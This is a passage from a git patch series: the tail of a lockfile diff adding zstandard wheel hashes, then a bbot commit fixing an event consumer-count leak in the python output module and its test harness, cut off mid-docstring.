"https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:01582723b3ccd6939ab7b3a78622c573799d5d8737b534b86d0e06ac18dbde4a", size = 5058126, upload-time = "2025-09-14T22:16:31.811Z" }, + { url = "https://files.pythonhosted.org/packages/c9/dd/fdaf0674f4b10d92cb120ccff58bbb6626bf8368f00ebfd2a41ba4a0dc99/zstandard-0.25.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:5f1ad7bf88535edcf30038f6919abe087f606f62c00a87d7e33e7fc57cb69fcc", size = 5405390, upload-time = "2025-09-14T22:16:33.486Z" }, + { url = "https://files.pythonhosted.org/packages/0f/67/354d1555575bc2490435f90d67ca4dd65238ff2f119f30f72d5cde09c2ad/zstandard-0.25.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:06acb75eebeedb77b69048031282737717a63e71e4ae3f77cc0c3b9508320df6", size = 5452914, upload-time = "2025-09-14T22:16:35.277Z" }, + { url = "https://files.pythonhosted.org/packages/bb/1f/e9cfd801a3f9190bf3e759c422bbfd2247db9d7f3d54a56ecde70137791a/zstandard-0.25.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9300d02ea7c6506f00e627e287e0492a5eb0371ec1670ae852fefffa6164b072", size = 5559635, upload-time = "2025-09-14T22:16:37.141Z" }, + { url = "https://files.pythonhosted.org/packages/21/88/5ba550f797ca953a52d708c8e4f380959e7e3280af029e38fbf47b55916e/zstandard-0.25.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:bfd06b1c5584b657a2892a6014c2f4c20e0db0208c159148fa78c65f7e0b0277", size = 5048277, upload-time = "2025-09-14T22:16:38.807Z" }, + { url = "https://files.pythonhosted.org/packages/46/c0/ca3e533b4fa03112facbe7fbe7779cb1ebec215688e5df576fe5429172e0/zstandard-0.25.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:f373da2c1757bb7f1acaf09369cdc1d51d84131e50d5fa9863982fd626466313", size = 5574377, upload-time = "2025-09-14T22:16:40.523Z" }, + { url = "https://files.pythonhosted.org/packages/12/9b/3fb626390113f272abd0799fd677ea33d5fc3ec185e62e6be534493c4b60/zstandard-0.25.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6c0e5a65158a7946e7a7affa6418878ef97ab66636f13353b8502d7ea03c8097", size = 4961493, upload-time = "2025-09-14T22:16:43.3Z" }, + { url = "https://files.pythonhosted.org/packages/cb/d3/23094a6b6a4b1343b27ae68249daa17ae0651fcfec9ed4de09d14b940285/zstandard-0.25.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:c8e167d5adf59476fa3e37bee730890e389410c354771a62e3c076c86f9f7778", size = 5269018, upload-time = "2025-09-14T22:16:45.292Z" }, + { url = "https://files.pythonhosted.org/packages/8c/a7/bb5a0c1c0f3f4b5e9d5b55198e39de91e04ba7c205cc46fcb0f95f0383c1/zstandard-0.25.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:98750a309eb2f020da61e727de7d7ba3c57c97cf6213f6f6277bb7fb42a8e065", size = 5443672, upload-time = "2025-09-14T22:16:47.076Z" }, + { url = "https://files.pythonhosted.org/packages/27/22/503347aa08d073993f25109c36c8d9f029c7d5949198050962cb568dfa5e/zstandard-0.25.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22a086cff1b6ceca18a8dd6096ec631e430e93a8e70a9ca5efa7561a00f826fa", size = 5822753, upload-time = "2025-09-14T22:16:49.316Z" }, + { url = "https://files.pythonhosted.org/packages/e2/be/94267dc6ee64f0f8ba2b2ae7c7a2df934a816baaa7291db9e1aa77394c3c/zstandard-0.25.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:72d35d7aa0bba323965da807a462b0966c91608ef3a48ba761678cb20ce5d8b7", size = 5366047, upload-time = "2025-09-14T22:16:51.328Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a3/732893eab0a3a7aecff8b99052fecf9f605cf0fb5fb6d0290e36beee47a4/zstandard-0.25.0-cp311-cp311-win32.whl", hash = "sha256:f5aeea11ded7320a84dcdd62a3d95b5186834224a9e55b92ccae35d21a8b63d4", size = 436484, upload-time = "2025-09-14T22:16:55.005Z" }, + { url = "https://files.pythonhosted.org/packages/43/a3/c6155f5c1cce691cb80dfd38627046e50af3ee9ddc5d0b45b9b063bfb8c9/zstandard-0.25.0-cp311-cp311-win_amd64.whl", hash = "sha256:daab68faadb847063d0c56f361a289c4f268706b598afbf9ad113cbe5c38b6b2", size = 506183, upload-time = "2025-09-14T22:16:52.753Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3e/8945ab86a0820cc0e0cdbf38086a92868a9172020fdab8a03ac19662b0e5/zstandard-0.25.0-cp311-cp311-win_arm64.whl", hash = "sha256:22a06c5df3751bb7dc67406f5374734ccee8ed37fc5981bf1ad7041831fa1137", size = 462533, upload-time = "2025-09-14T22:16:53.878Z" }, + { url = "https://files.pythonhosted.org/packages/82/fc/f26eb6ef91ae723a03e16eddb198abcfce2bc5a42e224d44cc8b6765e57e/zstandard-0.25.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7b3c3a3ab9daa3eed242d6ecceead93aebbb8f5f84318d82cee643e019c4b73b", size = 795738, upload-time = "2025-09-14T22:16:56.237Z" }, + { url = "https://files.pythonhosted.org/packages/aa/1c/d920d64b22f8dd028a8b90e2d756e431a5d86194caa78e3819c7bf53b4b3/zstandard-0.25.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:913cbd31a400febff93b564a23e17c3ed2d56c064006f54efec210d586171c00", size = 640436, upload-time = "2025-09-14T22:16:57.774Z" }, + { url = "https://files.pythonhosted.org/packages/53/6c/288c3f0bd9fcfe9ca41e2c2fbfd17b2097f6af57b62a81161941f09afa76/zstandard-0.25.0-cp312-cp312-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:011d388c76b11a0c165374ce660ce2c8efa8e5d87f34996aa80f9c0816698b64", size = 5343019, upload-time = "2025-09-14T22:16:59.302Z" }, + { url = "https://files.pythonhosted.org/packages/1e/15/efef5a2f204a64bdb5571e6161d49f7ef0fffdbca953a615efbec045f60f/zstandard-0.25.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:6dffecc361d079bb48d7caef5d673c88c8988d3d33fb74ab95b7ee6da42652ea", size = 5063012, upload-time = "2025-09-14T22:17:01.156Z" }, + { url = "https://files.pythonhosted.org/packages/b7/37/a6ce629ffdb43959e92e87ebdaeebb5ac81c944b6a75c9c47e300f85abdf/zstandard-0.25.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:7149623bba7fdf7e7f24312953bcf73cae103db8cae49f8154dd1eadc8a29ecb", size = 5394148, upload-time = "2025-09-14T22:17:03.091Z" }, + { url = "https://files.pythonhosted.org/packages/e3/79/2bf870b3abeb5c070fe2d670a5a8d1057a8270f125ef7676d29ea900f496/zstandard-0.25.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:6a573a35693e03cf1d67799fd01b50ff578515a8aeadd4595d2a7fa9f3ec002a", size = 5451652, upload-time = "2025-09-14T22:17:04.979Z" }, + { url = "https://files.pythonhosted.org/packages/53/60/7be26e610767316c028a2cbedb9a3beabdbe33e2182c373f71a1c0b88f36/zstandard-0.25.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5a56ba0db2d244117ed744dfa8f6f5b366e14148e00de44723413b2f3938a902", size = 5546993, upload-time = "2025-09-14T22:17:06.781Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/3483ad9ff0662623f3648479b0380d2de5510abf00990468c286c6b04017/zstandard-0.25.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:10ef2a79ab8e2974e2075fb984e5b9806c64134810fac21576f0668e7ea19f8f", size = 5046806, upload-time = "2025-09-14T22:17:08.415Z" }, + { url = "https://files.pythonhosted.org/packages/08/b3/206883dd25b8d1591a1caa44b54c2aad84badccf2f1de9e2d60a446f9a25/zstandard-0.25.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:aaf21ba8fb76d102b696781bddaa0954b782536446083ae3fdaa6f16b25a1c4b", size = 5576659, upload-time = "2025-09-14T22:17:10.164Z" }, + { url = "https://files.pythonhosted.org/packages/9d/31/76c0779101453e6c117b0ff22565865c54f48f8bd807df2b00c2c404b8e0/zstandard-0.25.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1869da9571d5e94a85a5e8d57e4e8807b175c9e4a6294e3b66fa4efb074d90f6", size = 4953933, upload-time = "2025-09-14T22:17:11.857Z" }, + { url = "https://files.pythonhosted.org/packages/18/e1/97680c664a1bf9a247a280a053d98e251424af51f1b196c6d52f117c9720/zstandard-0.25.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:809c5bcb2c67cd0ed81e9229d227d4ca28f82d0f778fc5fea624a9def3963f91", size = 5268008, upload-time = "2025-09-14T22:17:13.627Z" }, + { url = "https://files.pythonhosted.org/packages/1e/73/316e4010de585ac798e154e88fd81bb16afc5c5cb1a72eeb16dd37e8024a/zstandard-0.25.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:f27662e4f7dbf9f9c12391cb37b4c4c3cb90ffbd3b1fb9284dadbbb8935fa708", size = 5433517, upload-time = "2025-09-14T22:17:16.103Z" }, + { url = "https://files.pythonhosted.org/packages/5b/60/dd0f8cfa8129c5a0ce3ea6b7f70be5b33d2618013a161e1ff26c2b39787c/zstandard-0.25.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:99c0c846e6e61718715a3c9437ccc625de26593fea60189567f0118dc9db7512", size = 5814292, upload-time = "2025-09-14T22:17:17.827Z" }, + { url = "https://files.pythonhosted.org/packages/fc/5f/75aafd4b9d11b5407b641b8e41a57864097663699f23e9ad4dbb91dc6bfe/zstandard-0.25.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:474d2596a2dbc241a556e965fb76002c1ce655445e4e3bf38e5477d413165ffa", size = 5360237, upload-time = "2025-09-14T22:17:19.954Z" }, + { url = "https://files.pythonhosted.org/packages/ff/8d/0309daffea4fcac7981021dbf21cdb2e3427a9e76bafbcdbdf5392ff99a4/zstandard-0.25.0-cp312-cp312-win32.whl", hash = "sha256:23ebc8f17a03133b4426bcc04aabd68f8236eb78c3760f12783385171b0fd8bd", size = 436922, upload-time = "2025-09-14T22:17:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/79/3b/fa54d9015f945330510cb5d0b0501e8253c127cca7ebe8ba46a965df18c5/zstandard-0.25.0-cp312-cp312-win_amd64.whl", hash = "sha256:ffef5a74088f1e09947aecf91011136665152e0b4b359c42be3373897fb39b01", size = 506276, upload-time = "2025-09-14T22:17:21.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/6b/8b51697e5319b1f9ac71087b0af9a40d8a6288ff8025c36486e0c12abcc4/zstandard-0.25.0-cp312-cp312-win_arm64.whl", hash = "sha256:181eb40e0b6a29b3cd2849f825e0fa34397f649170673d385f3598ae17cca2e9", size = 462679, upload-time = "2025-09-14T22:17:23.147Z" }, + { url = "https://files.pythonhosted.org/packages/35/0b/8df9c4ad06af91d39e94fa96cc010a24ac4ef1378d3efab9223cc8593d40/zstandard-0.25.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec996f12524f88e151c339688c3897194821d7f03081ab35d31d1e12ec975e94", size = 795735, upload-time = "2025-09-14T22:17:26.042Z" }, + { url = "https://files.pythonhosted.org/packages/3f/06/9ae96a3e5dcfd119377ba33d4c42a7d89da1efabd5cb3e366b156c45ff4d/zstandard-0.25.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a1a4ae2dec3993a32247995bdfe367fc3266da832d82f8438c8570f989753de1", size = 640440, upload-time = "2025-09-14T22:17:27.366Z" }, + { url = "https://files.pythonhosted.org/packages/d9/14/933d27204c2bd404229c69f445862454dcc101cd69ef8c6068f15aaec12c/zstandard-0.25.0-cp313-cp313-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:e96594a5537722fdfb79951672a2a63aec5ebfb823e7560586f7484819f2a08f", size = 5343070, upload-time = "2025-09-14T22:17:28.896Z" }, + { url = "https://files.pythonhosted.org/packages/6d/db/ddb11011826ed7db9d0e485d13df79b58586bfdec56e5c84a928a9a78c1c/zstandard-0.25.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bfc4e20784722098822e3eee42b8e576b379ed72cca4a7cb856ae733e62192ea", size = 5063001, upload-time = "2025-09-14T22:17:31.044Z" }, + { url = "https://files.pythonhosted.org/packages/db/00/87466ea3f99599d02a5238498b87bf84a6348290c19571051839ca943777/zstandard-0.25.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:457ed498fc58cdc12fc48f7950e02740d4f7ae9493dd4ab2168a47c93c31298e", size = 5394120, upload-time = "2025-09-14T22:17:32.711Z" }, + { url = "https://files.pythonhosted.org/packages/2b/95/fc5531d9c618a679a20ff6c29e2b3ef1d1f4ad66c5e161ae6ff847d102a9/zstandard-0.25.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:fd7a5004eb1980d3cefe26b2685bcb0b17989901a70a1040d1ac86f1d898c551", size = 5451230, upload-time = "2025-09-14T22:17:34.41Z" }, + { url = "https://files.pythonhosted.org/packages/63/4b/e3678b4e776db00f9f7b2fe58e547e8928ef32727d7a1ff01dea010f3f13/zstandard-0.25.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8e735494da3db08694d26480f1493ad2cf86e99bdd53e8e9771b2752a5c0246a", size = 5547173, upload-time = "2025-09-14T22:17:36.084Z" }, + { url = "https://files.pythonhosted.org/packages/4e/d5/ba05ed95c6b8ec30bd468dfeab20589f2cf709b5c940483e31d991f2ca58/zstandard-0.25.0-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:3a39c94ad7866160a4a46d772e43311a743c316942037671beb264e395bdd611", size = 5046736, upload-time = "2025-09-14T22:17:37.891Z" }, + { url = "https://files.pythonhosted.org/packages/50/d5/870aa06b3a76c73eced65c044b92286a3c4e00554005ff51962deef28e28/zstandard-0.25.0-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:172de1f06947577d3a3005416977cce6168f2261284c02080e7ad0185faeced3", size = 5576368, upload-time = "2025-09-14T22:17:40.206Z" }, + { url = "https://files.pythonhosted.org/packages/5d/35/398dc2ffc89d304d59bc12f0fdd931b4ce455bddf7038a0a67733a25f550/zstandard-0.25.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:3c83b0188c852a47cd13ef3bf9209fb0a77fa5374958b8c53aaa699398c6bd7b", size = 4954022, upload-time = "2025-09-14T22:17:41.879Z" }, + { url = "https://files.pythonhosted.org/packages/9a/5c/36ba1e5507d56d2213202ec2b05e8541734af5f2ce378c5d1ceaf4d88dc4/zstandard-0.25.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:1673b7199bbe763365b81a4f3252b8e80f44c9e323fc42940dc8843bfeaf9851", size = 5267889, upload-time = "2025-09-14T22:17:43.577Z" }, + { url = "https://files.pythonhosted.org/packages/70/e8/2ec6b6fb7358b2ec0113ae202647ca7c0e9d15b61c005ae5225ad0995df5/zstandard-0.25.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:0be7622c37c183406f3dbf0cba104118eb16a4ea7359eeb5752f0794882fc250", size = 5433952, upload-time = "2025-09-14T22:17:45.271Z" }, + { url = "https://files.pythonhosted.org/packages/7b/01/b5f4d4dbc59ef193e870495c6f1275f5b2928e01ff5a81fecb22a06e22fb/zstandard-0.25.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5f5e4c2a23ca271c218ac025bd7d635597048b366d6f31f420aaeb715239fc98", size = 5814054, upload-time = "2025-09-14T22:17:47.08Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e5/fbd822d5c6f427cf158316d012c5a12f233473c2f9c5fe5ab1ae5d21f3d8/zstandard-0.25.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4f187a0bb61b35119d1926aee039524d1f93aaf38a9916b8c4b78ac8514a0aaf", size = 5360113, upload-time = "2025-09-14T22:17:48.893Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/69a553d2047f9a2c7347caa225bb3a63b6d7704ad74610cb7823baa08ed7/zstandard-0.25.0-cp313-cp313-win32.whl", hash = "sha256:7030defa83eef3e51ff26f0b7bfb229f0204b66fe18e04359ce3474ac33cbc09", size = 436936, upload-time = "2025-09-14T22:17:52.658Z" }, + { url = "https://files.pythonhosted.org/packages/d9/82/b9c06c870f3bd8767c201f1edbdf9e8dc34be5b0fbc5682c4f80fe948475/zstandard-0.25.0-cp313-cp313-win_amd64.whl", hash = "sha256:1f830a0dac88719af0ae43b8b2d6aef487d437036468ef3c2ea59c51f9d55fd5", size = 506232, upload-time = "2025-09-14T22:17:50.402Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/60c3c01243bb81d381c9916e2a6d9e149ab8627c0c7d7abb2d73384b3c0c/zstandard-0.25.0-cp313-cp313-win_arm64.whl", hash = "sha256:85304a43f4d513f5464ceb938aa02c1e78c2943b29f44a750b48b25ac999a049", size = 462671, upload-time = "2025-09-14T22:17:51.533Z" }, + { url = "https://files.pythonhosted.org/packages/3d/5c/f8923b595b55fe49e30612987ad8bf053aef555c14f05bb659dd5dbe3e8a/zstandard-0.25.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:e29f0cf06974c899b2c188ef7f783607dbef36da4c242eb6c82dcd8b512855e3", size = 795887, upload-time = "2025-09-14T22:17:54.198Z" }, + { url = "https://files.pythonhosted.org/packages/8d/09/d0a2a14fc3439c5f874042dca72a79c70a532090b7ba0003be73fee37ae2/zstandard-0.25.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:05df5136bc5a011f33cd25bc9f506e7426c0c9b3f9954f056831ce68f3b6689f", size = 640658, upload-time = "2025-09-14T22:17:55.423Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7c/8b6b71b1ddd517f68ffb55e10834388d4f793c49c6b83effaaa05785b0b4/zstandard-0.25.0-cp314-cp314-manylinux2010_i686.manylinux_2_12_i686.manylinux_2_28_i686.whl", hash = "sha256:f604efd28f239cc21b3adb53eb061e2a205dc164be408e553b41ba2ffe0ca15c", size = 5379849, upload-time = "2025-09-14T22:17:57.372Z" }, + { url = "https://files.pythonhosted.org/packages/a4/86/a48e56320d0a17189ab7a42645387334fba2200e904ee47fc5a26c1fd8ca/zstandard-0.25.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:223415140608d0f0da010499eaa8ccdb9af210a543fac54bce15babbcfc78439", size = 5058095, upload-time = "2025-09-14T22:17:59.498Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ad/eb659984ee2c0a779f9d06dbfe45e2dc39d99ff40a319895df2d3d9a48e5/zstandard-0.25.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2e54296a283f3ab5a26fc9b8b5d4978ea0532f37b231644f367aa588930aa043", size = 5551751, upload-time = "2025-09-14T22:18:01.618Z" }, + { url = "https://files.pythonhosted.org/packages/61/b3/b637faea43677eb7bd42ab204dfb7053bd5c4582bfe6b1baefa80ac0c47b/zstandard-0.25.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ca54090275939dc8ec5dea2d2afb400e0f83444b2fc24e07df7fdef677110859", size = 6364818, upload-time = "2025-09-14T22:18:03.769Z" }, + { url = "https://files.pythonhosted.org/packages/31/dc/cc50210e11e465c975462439a492516a73300ab8caa8f5e0902544fd748b/zstandard-0.25.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e09bb6252b6476d8d56100e8147b803befa9a12cea144bbe629dd508800d1ad0", size = 5560402, upload-time = "2025-09-14T22:18:05.954Z" }, + { url = "https://files.pythonhosted.org/packages/c9/ae/56523ae9c142f0c08efd5e868a6da613ae76614eca1305259c3bf6a0ed43/zstandard-0.25.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a9ec8c642d1ec73287ae3e726792dd86c96f5681eb8df274a757bf62b750eae7", size = 4955108, upload-time = "2025-09-14T22:18:07.68Z" }, + { url = "https://files.pythonhosted.org/packages/98/cf/c899f2d6df0840d5e384cf4c4121458c72802e8bda19691f3b16619f51e9/zstandard-0.25.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a4089a10e598eae6393756b036e0f419e8c1d60f44a831520f9af41c14216cf2", size = 5269248, upload-time = "2025-09-14T22:18:09.753Z" }, + { url = "https://files.pythonhosted.org/packages/1b/c0/59e912a531d91e1c192d3085fc0f6fb2852753c301a812d856d857ea03c6/zstandard-0.25.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f67e8f1a324a900e75b5e28ffb152bcac9fbed1cc7b43f99cd90f395c4375344", size = 5430330, upload-time = "2025-09-14T22:18:11.966Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/7e31db1240de2df22a58e2ea9a93fc6e38cc29353e660c0272b6735d6669/zstandard-0.25.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9654dbc012d8b06fc3d19cc825af3f7bf8ae242226df5f83936cb39f5fdc846c", size = 5811123, upload-time = "2025-09-14T22:18:13.907Z" }, + { url = "https://files.pythonhosted.org/packages/f6/49/fac46df5ad353d50535e118d6983069df68ca5908d4d65b8c466150a4ff1/zstandard-0.25.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4203ce3b31aec23012d3a4cf4a2ed64d12fea5269c49aed5e4c3611b938e4088", size = 5359591, upload-time = "2025-09-14T22:18:16.465Z" }, + { url = "https://files.pythonhosted.org/packages/c2/38/f249a2050ad1eea0bb364046153942e34abba95dd5520af199aed86fbb49/zstandard-0.25.0-cp314-cp314-win32.whl", hash = "sha256:da469dc041701583e34de852d8634703550348d5822e66a0c827d39b05365b12", size = 444513, upload-time = "2025-09-14T22:18:20.61Z" }, + { url = "https://files.pythonhosted.org/packages/3a/43/241f9615bcf8ba8903b3f0432da069e857fc4fd1783bd26183db53c4804b/zstandard-0.25.0-cp314-cp314-win_amd64.whl", hash = "sha256:c19bcdd826e95671065f8692b5a4aa95c52dc7a02a4c5a0cac46deb879a017a2", size = 516118, upload-time = "2025-09-14T22:18:17.849Z" }, + { url = "https://files.pythonhosted.org/packages/f0/ef/da163ce2450ed4febf6467d77ccb4cd52c4c30ab45624bad26ca0a27260c/zstandard-0.25.0-cp314-cp314-win_arm64.whl", hash = "sha256:d7541afd73985c630bafcd6338d2518ae96060075f9463d7dc14cfb33514383d", size = 476940, upload-time = "2025-09-14T22:18:19.088Z" }, +] From 2d75eb44c862da353321614f04144680c5567a43 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 8 May 2026 12:25:00 -0400 Subject: [PATCH 619/912] fix _module_consumers leak in python output module MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The python output module's _worker is a no-op — the scan loop drains its incoming queue directly via _events_waiting and yields to async_start callers. But BaseModule.queue_event still ran the counter-bump (event._module_consumers += 1) on its way in, with no matching _minimize() call to pair it. Every event flowing through async_start leaked +1 forever, so _minimize()'s strip block (which gates on `_module_consumers <= 0`) never fired for any of them. Effects of the leak: heavy fields (body, raw_header, header, hash, cert_info, original_value, additional_params, assigned_cookies) stayed in event._data for the entire scan, even after every module that wanted them was done. With body-spill enabled, spill cache entries and on-disk body files also never got released mid-scan (temp_dir cleanup at scan end still mopped up, so this was never a permanent leak — but it defeated the purpose of mid-scan release). The fix factors the counter bump out of BaseModule.queue_event into an overridable hook (_increment_consumer_count) and overrides it as a no-op in the python output module. Other modules unchanged. Module tests routinely assert on heavy fields after the scan — they run check() on a collected event list — so the test framework's _execute_scan now restores BaseModule._increment_consumer_count on each test scan's python module instance, which keeps events pinned through check(). Scoped per-scan, doesn't affect production. --- bbot/modules/base.py | 13 ++++++++++++- bbot/modules/output/python.py | 19 +++++++++++++++++++ bbot/test/test_step_2/module_tests/base.py | 19 ++++++++++++++++++- 3 files changed, 49 insertions(+), 2 deletions(-) diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 39b4064c88..085b268350 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -1030,7 +1030,7 @@ async def queue_event(self, event): self.debug(f"Queueing {event} because {reason}") try: self.incoming_event_queue.put_nowait(event) - event._module_consumers += 1 + self._increment_consumer_count(event) async with self.event_received: self.event_received.notify() if event.type != "FINISHED": @@ -1038,6 +1038,17 @@ async def queue_event(self, event): except AttributeError: self.debug("Not in an acceptable state to queue incoming event") + def _increment_consumer_count(self, event): + """Increment the event's consumer count when it lands in this module's queue. + + Paired with the matching ``_minimize()`` call when the worker + finishes processing. Modules that have no real worker (e.g. the + ``python`` output module backing ``Scanner.async_start``) + override this to skip the increment — otherwise the count + leaks +1 forever and ``_minimize()``'s strip block never fires. + """ + event._module_consumers += 1 + async def queue_outgoing_event(self, event, **kwargs): """ Queues an outgoing event to the module's outgoing event queue for further processing. diff --git a/bbot/modules/output/python.py b/bbot/modules/output/python.py index 81ceb360ed..346cc7e53b 100644 --- a/bbot/modules/output/python.py +++ b/bbot/modules/output/python.py @@ -2,8 +2,27 @@ class python(BaseOutputModule): + """ + Pseudo-output module backing ``Scanner.async_start()``. The scan loop + drains its incoming queue directly via ``_events_waiting`` and yields + events to the API caller — there is no real worker. + + Because the worker is a no-op, we override ``queue_event`` so the + standard ``_module_consumers`` increment is skipped. Without this, 